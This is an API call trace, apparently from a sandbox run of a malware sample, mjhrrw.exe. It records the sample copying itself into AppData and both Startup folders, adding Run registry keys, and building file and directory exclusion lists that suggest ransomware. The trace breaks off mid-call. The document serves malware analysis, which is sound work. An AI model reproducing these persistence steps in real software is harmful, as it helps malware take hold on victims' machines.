[0073.966] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xeff834 | out: phkResult=0xeff834*=0x204) returned 0x0 [0073.966] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0xeff830, lpData=0x11ae140, lpcbData=0xeff838*=0x7a | out: lpType=0xeff830*=0x2, lpData=0x11ae140*=0x30, lpcbData=0xeff838*=0x98) returned 0xea [0073.966] RegCloseKey (hKey=0x204) returned 0x0 [0073.966] GetProcessHeap () returned 0x11a0000 [0073.966] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0c10 | out: hHeap=0x11a0000) returned 1 [0073.966] GetProcessHeap () returned 0x11a0000 [0073.966] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1230 | out: hHeap=0x11a0000) returned 1 [0073.966] GetProcessHeap () returned 0x11a0000 [0073.966] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0073.966] GetProcessHeap () returned 0x11a0000 [0073.966] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11a66e0, Size=0xf2) returned 0x11b1230 [0073.966] GetProcessHeap () returned 0x11a0000 [0073.966] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0xf2) returned 0x11af5f0 [0073.966] GetProcessHeap () returned 0x11a0000 [0073.966] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0073.966] GetProcessHeap () returned 0x11a0000 [0073.966] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x10) returned 0x11c0af0 [0073.966] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xeff834 | out: phkResult=0xeff834*=0x204) returned 0x0 [0073.966] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0xeff830, lpData=0x11af5f0, lpcbData=0xeff838*=0xf2 | out: lpType=0xeff830*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xeff838*=0x98) returned 0x0 [0073.966] RegCloseKey (hKey=0x204) returned 0x0 [0073.967] GetProcessHeap () returned 0x11a0000 [0073.967] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0af0 | out: hHeap=0x11a0000) returned 1 [0073.967] GetProcessHeap () returned 0x11a0000 [0073.967] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bfe50 [0073.967] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xeff834 | out: phkResult=0xeff834*=0x204) returned 0x0 [0073.967] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0xeff830, lpData=0x11af688, lpcbData=0xeff838*=0x5a | out: lpType=0xeff830*=0x0, lpData=0x11af688*=0x14, lpcbData=0xeff838*=0x5a) returned 0x2 [0073.967] RegCloseKey (hKey=0x204) returned 0x0 [0073.967] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xeff848 | out: phkResult=0xeff848*=0x204) returned 0x0 [0073.967] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0xeff844, lpData=0x11af688, lpcbData=0xeff84c*=0x5a | out: lpType=0xeff844*=0x2, lpData=0x11af688*=0x14, lpcbData=0xeff84c*=0x78) returned 0xea [0073.967] RegCloseKey (hKey=0x204) returned 0x0 [0073.967] GetProcessHeap () returned 0x11a0000 [0073.967] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe50 | out: hHeap=0x11a0000) returned 1 [0073.967] GetProcessHeap () returned 0x11a0000 [0073.967] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0073.967] GetProcessHeap () returned 0x11a0000 [0073.967] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af5f0 | out: hHeap=0x11a0000) returned 1 [0073.967] GetProcessHeap () returned 0x11a0000 [0073.967] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b1230, Size=0x1e2) returned 0x11bf370 [0073.967] GetProcessHeap () returned 0x11a0000 [0073.967] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e2) returned 0x11c0588 [0073.967] GetProcessHeap () returned 0x11a0000 [0073.967] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0073.967] GetProcessHeap () returned 0x11a0000 [0073.968] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x10) returned 0x11c0a00 [0073.968] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xeff834 | out: phkResult=0xeff834*=0x204) returned 0x0 [0073.968] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0xeff830, lpData=0x11c0588, lpcbData=0xeff838*=0x1e2 | out: lpType=0xeff830*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xeff838*=0x98) returned 0x0 [0073.968] RegCloseKey (hKey=0x204) returned 0x0 [0073.968] GetProcessHeap () returned 0x11a0000 [0073.968] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0a00 | out: hHeap=0x11a0000) returned 1 [0073.968] GetProcessHeap () returned 0x11a0000 [0073.968] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bfef0 [0073.968] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xeff834 | out: phkResult=0xeff834*=0x204) returned 0x0 [0073.968] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0xeff830, lpData=0x11c0620, lpcbData=0xeff838*=0x14a | out: lpType=0xeff830*=0x0, lpData=0x11c0620*=0x0, lpcbData=0xeff838*=0x14a) returned 0x2 [0073.968] RegCloseKey (hKey=0x204) returned 0x0 [0073.968] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xeff848 | out: phkResult=0xeff848*=0x204) returned 0x0 [0073.968] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0xeff844, lpData=0x11c0620, lpcbData=0xeff84c*=0x14a | out: lpType=0xeff844*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xeff84c*=0x78) returned 0x0 [0073.968] RegCloseKey (hKey=0x204) returned 0x0 [0073.968] GetProcessHeap () returned 0x11a0000 [0073.968] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfef0 | out: hHeap=0x11a0000) returned 1 [0073.968] GetProcessHeap () returned 0x11a0000 [0073.968] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0073.968] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x11bf370, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0073.968] GetProcessHeap () returned 0x11a0000 [0073.968] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0588 | out: hHeap=0x11a0000) returned 1 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2180 | out: hHeap=0x11a0000) returned 1 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c00f8 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x12) returned 0x11b86f0 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x12) returned 0x11b8710 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0073.969] ExpandEnvironmentStringsW (in: lpSrc="sfor.txt", lpDst=0x11b86f0, nSize=0x9 | out: lpDst="sfor.txt") returned 0x9 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b8710 | out: hHeap=0x11a0000) returned 1 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c00f8 | out: hHeap=0x11a0000) returned 1 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c0588 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11bdf78 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c4a00 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c4c18 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c7750 [0073.969] GetProcessHeap () returned 0x11a0000 [0073.969] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c7968 [0073.969] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11bdf78, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0073.970] GetProcessHeap () returned 0x11a0000 [0073.970] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c7b80 [0073.970] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11c7b80, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0073.970] GetProcessHeap () returned 0x11a0000 [0073.970] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c7b80 | out: hHeap=0x11a0000) returned 1 [0073.970] GetProcessHeap () returned 0x11a0000 [0073.970] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c7b80 [0073.970] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11c7b80, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0073.970] GetProcessHeap () returned 0x11a0000 [0073.970] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c7b80 | out: hHeap=0x11a0000) returned 1 [0073.970] GetProcessHeap () returned 0x11a0000 [0073.970] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c7b80 [0073.970] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11c7b80, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0073.970] GetProcessHeap () returned 0x11a0000 [0073.970] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c7b80 | out: hHeap=0x11a0000) returned 1 [0073.970] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mjhrrw.exe"), bFailIfExists=0) returned 1 [0074.012] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0xeff92c | out: phkResult=0xeff92c*=0x204) returned 0x0 [0074.012] RegSetValueExW (in: hKey=0x204, lpValueName="mjhrrw", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe", cbData=0x50 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe") returned 0x0 [0074.012] RegCloseKey (hKey=0x204) returned 0x0 [0074.012] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0xeff940 | out: phkResult=0xeff940*=0x204) returned 0x0 [0074.013] RegSetValueExW (in: hKey=0x204, lpValueName="mjhrrw", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe", cbData=0x50 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe") returned 0x0 [0074.013] RegCloseKey (hKey=0x204) returned 0x0 [0074.013] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\sfor.txt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\sfor.txt"), bFailIfExists=1) returned 0 [0074.013] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\sfor.txt")) returned 0xffffffff [0074.013] GetProcessHeap () returned 0x11a0000 [0074.013] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x118) returned 0x11b1dc0 [0074.013] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), bFailIfExists=1) returned 0 [0074.014] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\sfor.txt"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), bFailIfExists=1) returned 0 [0074.014] GetFileAttributesW (lpFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt")) returned 0xffffffff [0074.014] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), bFailIfExists=1) returned 1 [0074.021] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\sfor.txt"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), bFailIfExists=1) returned 0 [0074.022] GetFileAttributesW (lpFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt")) returned 0xffffffff [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1dc0 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b86f0 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0588 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bdf78 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c4a00 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c4c18 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c7750 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c7968 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1d08 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf8f8 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf370 | out: hHeap=0x11a0000) returned 1 [0074.022] GetProcessHeap () returned 0x11a0000 [0074.023] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bfef0 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bfdb0 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bfe78 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.023] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11bfdb0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe78 | out: hHeap=0x11a0000) returned 1 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfef0 | out: hHeap=0x11a0000) returned 1 [0074.023] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xeff954, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xeff954*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfdb0 | out: hHeap=0x11a0000) returned 1 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x28) returned 0x11b7128 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0a78 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x190) returned 0x11b1020 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x60) returned 0x11b1d08 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x5a) returned 0x11af800 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.023] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11af800, Size=0xb2) returned 0x11b1230 [0074.023] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x184) returned 0x11bf370 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0958 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c0588 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x250) returned 0x11bdf78 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0xa0) returned 0x11ae140 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x96) returned 0x11af5f0 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x96) returned 0x11b1dc0 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be1d0 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be1d0 | out: hHeap=0x11a0000) returned 1 [0074.024] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt", lpDst=0x11af5f0, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt") returned 0x4b [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1dc0 | out: hHeap=0x11a0000) returned 1 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x70) returned 0x11af690 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x62) returned 0x11af800 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x62) returned 0x11ae540 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.024] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x11af800, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.024] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae540 | out: hHeap=0x11a0000) returned 1 [0074.024] GetProcessHeap () returned 0x11a0000 [0074.025] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11af800, Size=0xc2) returned 0x11b1dc0 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0xc2) returned 0x11be1d0 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.025] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x11b1dc0, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be1d0 | out: hHeap=0x11a0000) returned 1 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af690 | out: hHeap=0x11a0000) returned 1 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c4a00 [0074.025] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11c4a00, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c4a00 | out: hHeap=0x11a0000) returned 1 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x24e) returned 0x11c4a00 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11c4a00, Size=0x3cc) returned 0x11c4a00 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x98) returned 0x11ae140 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11ae140, Size=0xae) returned 0x11c4dd8 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x6a) returned 0x11af690 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0588 | out: hHeap=0x11a0000) returned 1 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bdf78 | out: hHeap=0x11a0000) returned 1 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af5f0 | out: hHeap=0x11a0000) returned 1 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] HeapFree (in: 